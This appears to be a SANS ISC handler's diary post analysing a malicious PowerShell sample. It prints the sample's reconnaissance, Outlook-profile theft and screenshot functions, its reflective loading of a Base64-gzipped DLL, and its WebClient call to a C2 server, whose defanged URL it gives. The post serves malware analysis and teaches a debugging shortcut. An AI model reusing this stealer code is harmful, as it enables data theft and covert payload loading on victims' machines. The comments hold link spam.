Example of Malicious DLL Injected in PowerShell
For a while, PowerShell remains one of the favorite languages for attackers. Installed by default (and almost impossible to get rid of it), powerful, perfectly integrated with the core operating system. It's very easy to develop specific PowerShell functions that will provide interesting features for an attacker but, if written in PowerShell, they could easily ring a bell for the defenders (example: by using many suspicious API calls). Another technique to expand the language with more functions is just to load a DLL! I found a sample that exfiltrates data from the victim's computer.
First, basic information about the victim's computer is collected by running classic command-line tools:
function F5rfcOkoteobtjw() { if ((((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN)) { $Z5oXjQKQ = "DOMAIN: NO`n`n" } else { $Z5oXjQKQ = "DOMAIN: YES`n`n"} $Z5oXjQKQ += "SYSTEMINFO:`n`n" + ((systeminfo) -join "`n") $Z5oXjQKQ += "`n`nIPCONFIG:`n`n" + ((ipconfig /all) -join "`n") $Z5oXjQKQ += "`n`nNETSTAT:`n`n" + ((netstat -f) -join "`n") $Z5oXjQKQ += "`n`nNETVIEW:`n`n" + ((net view) -join "`n") $Z5oXjQKQ += "`n`nTASKLIST:`n`n" + ((tasklist) -join "`n") $Z5oXjQKQ += "`n`nWHOAMI:`n`n" + ((whoami) -join "`n") $Z5oXjQKQ += "`n`nUSERNAME:`n`n" + ((net user $env:username /domain) -join "`n") $Z5oXjQKQ += "`n`nDOMAIN ADMINS:`n`n" + ((net group "domain admins" /domain ) -join "`n") $Z5oXjQKQ += "`n`nDESKTOP:`n`n" + (Get-ChildItem ([environment]::getfolderpath("desktop")) | Out-String) $Z5oXjQKQ += "`n`nAV:`n`n" + (Get-WmiObject -Namespace "root\SecurityCenter2" -Query "SELECT * FROM AntiVirusProduct").displayName $EyUrI0YTDc = [System.Text.Encoding]::UTF8.GetBytes($Z5oXjQKQ) r8LHrhI 0 $EyUrI0YTDc }
Then, the Outlook profile is extracted from the registry:
function X2k2cdDAGo() { $Z5oXjQKQ = "" $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Office\16.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*" $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Office\15.0\Outlook\Profiles\*\9375CFF0413111d3B88A00104B2A6676\*" $Z5oXjQKQ += UIe8sB6zH "hkcu:\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\*" if ($Z5oXjQKQ -ne "") { $EyUrI0YTDc = [System.Text.Encoding]::UTF8.GetBytes($Z5oXjQKQ) r8LHrhI 1 $EyUrI0YTDc } }
And finally, a screenshot is generated:
function JouSArFQ6kv() { Add-Type -Assembly System.Windows.Forms $z7JRFcFKpF = [Windows.Forms.SystemInformation] $TEFaSIoRepdsHy = $z7JRFcFKpF::VirtualScreen $F9wFd3ghH8VbFJj7 = New-Object Drawing.Bitmap $TEFaSIoRepdsHy.Width, $TEFaSIoRepdsHy.Height $Ox71ToqVRRQwhg9a = [Drawing.Graphics]::FromImage($F9wFd3ghH8VbFJj7) $Ox71ToqVRRQwhg9a.CopyFromScreen($TEFaSIoRepdsHy.Location, [Drawing.Point]::Empty, $TEFaSIoRepdsHy.Size) $Ox71ToqVRRQwhg9a.Dispose() $ntxzp2n = New-Object System.IO.MemoryStream $ZccBcQz3g54=40 $Cq9RWAEjwyTCLRoderParams = New-Object System.Drawing.Imaging.EncoderParameters $Cq9RWAEjwyTCLRoderParams.Param[0] = New-Object Drawing.Imaging.EncoderParameter ([System.Drawing.Imaging.Encoder]::Quality, $ZccBcQz3g54) $dPyJ9JM = [Drawing.Imaging.ImageCodecInfo]::GetImageEncoders() | Where-Object { $_.FormatDescription -eq "JPEG" } $F9wFd3ghH8VbFJj7.save($ntxzp2n, $dPyJ9JM, $Cq9RWAEjwyTCLRoderParams) $F9wFd3ghH8VbFJj7.Dispose() $EyUrI0YTDc = [convert]::ToBase64String($ntxzp2n.ToArray()) $EyUrI0YTDc = [System.Text.Encoding]::ASCII.GetBytes($EyUrI0YTDc) r8LHrhI 2 $EyUrI0YTDc }
But this is not the most interesting part of the sample. Let's have a look at specific functions provided by a malicious DLL. The DLL is gzipped and Base64-encoded:
$UwDI0aRabjIk3s = New-Object IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String(" H4sIAAAAAAACC+06aXgc ...stuff removed... j8+/wt8EsGVACwAAA=="), [IO.Compression.CompressionMode]::Decompress)
Once decoded, memory is allocated, filled with the DLL code and loaded into the current process:
$tdBxFBPoF9H = New-Object byte[](20480) $UwDI0aRabjIk3s.Read($tdBxFBPoF9H, 0, 20480) | Out-Null [System.Reflection.Assembly]::Load($tdBxFBPoF9H) | Out-Null
The loaded DLL functions are called from multiple locations in the PowerShell script:
[lu1Ghpi.lu1Ghpi]::LCT7Zf([Ref].Assembly) [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) [lu1Ghpi.lu1Ghpi]::dIIxO5Q5DK($IjhCozkPh)
Let's load the DLL into Ghidra and we can see all the function names in the symbols:
Let's have a look at the function G6ftSnK0ugKvb2d() which is used to generate the URI to communicate with the C2 server to exfiltrate data:
$du3JoqQ6OQO4 = New-Object System.Net.WebClient $pZkGmBMzTr = "https://$PsEGZJ3A39n/" + [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) $ZcHP6xyD = $du3JoqQ6OQO4.DownloadData($pZkGmBMzTr)
The function is quite complex to understand in Ghidra:
This one is not very easy to reverse and, often, we don't have time for this. How to understand the purpose of the function? Let's debug the PowerShell code!
Once the script loaded into PowerShell ISE, you add a breakpoint on an interesting line, by example, the one calling the function seen above and you execute the script:
You can now decode the complete URL used to exfiltrate the data:
hxxps://173-232-146-217[.]sslip[.]io/ss1ocok/xi5/ovmcnml2/24y/h0am5ngt1141zuo454unbce/b/vd/i/irani0ceia.jpg
And, because we loaded the DLL into our PowerShell session, we can directly call the function and see what is returns:
[DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) ga2wu/3/ptzblbvljd0r/0ureglfn/5omzbspltwim1q25hqy2/hhz2/ghbz4pbq.jpg [DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) a/sfgad4hpnogbgm/q1yhxyi4bkff/fk1/sijz/kg2skektcxmrcuyv1ei/vgfoy.jpg [DBG]: PS C:\Users\REM\Desktop>> [lu1Ghpi.lu1Ghpi]::G6ftSnK0ugKvb2d(0, 0, $False) a4kqsy/oe/mq0q/3/gupw3qx4pfih/3euubzgjvfqoj0/hjow/bqr0lvq/meos3mda.jpg
Conclusion: You don't always need to spend a lot of time to reverse a DLL, just load it in a sandbox and call the functions directly from PowerShell. Another approach would be to attach the PowerShell to a debugger but, here again, it will more time-consuming.
The original script is available on VT with a nice score of 3/57 (SHA256:863b7ad4a0b8fb0fff6c60fd8fa41f1dee8632bc9423f88354465e29a0674136)[1]. If you're interested in the DLL, I uploaded it on MalwareBazaar[2].
[1] https://www.virustotal.com/gui/file/863b7ad4a0b8fb0fff6c60fd8fa41f1dee8632bc9423f88354465e29a0674136/detection
[2] https://bazaar.abuse.ch/sample/5eb0794df0be82e3aee984a24dd0197d9d474703d9b4a1a00d8affc99a1a10b6/
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
www
Nov 17th 2022
6 months ago
EEW
Nov 17th 2022
6 months ago
qwq
Nov 17th 2022
6 months ago
mashood
Nov 17th 2022
6 months ago
isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Dec 3rd 2022
6 months ago
isc.sans.edu
Dec 3rd 2022
6 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
isc.sans.edu
Dec 26th 2022
5 months ago
isc.sans.edu
Dec 26th 2022
5 months ago